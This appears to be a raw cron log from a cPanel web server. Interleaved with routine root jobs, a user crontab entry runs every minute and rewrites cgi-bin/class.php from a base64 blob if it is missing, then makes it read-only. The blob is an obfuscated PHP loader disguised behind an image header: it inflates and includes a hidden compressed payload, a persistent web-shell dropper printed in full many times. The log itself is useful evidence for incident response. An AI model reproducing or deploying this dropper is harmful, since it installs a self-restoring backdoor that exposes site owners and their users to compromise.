Nov 12 22:29:01 server CROND[25178]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 22:30:01 server CROND[26041]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 22:30:01 server CROND[26042]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 22:30:01 server CROND[26043]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 22:30:01 server CROND[26040]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 22:31:01 server CROND[26969]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 22:32:01 server CROND[27819]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 22:33:01 server CROND[28773]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 22:34:01 server CROND[29662]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 22:35:01 server CROND[30529]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 22:35:01 server CROND[30530]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 12 22:35:01 server CROND[30531]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 22:35:01 server CROND[30532]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 22:35:01 server CROND[30533]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 22:36:01 server CROND[31595]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 22:37:01 server CROND[32422]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 22:38:01 server CROND[931]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 22:39:01 server CROND[1844]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 12 22:39:01 server CROND[1845]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 22:40:01 server CROND[2613]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 22:40:01 server CROND[2615]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 22:40:01 server CROND[2614]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 22:40:01 server CROND[2616]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 22:41:01 server CROND[3524]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
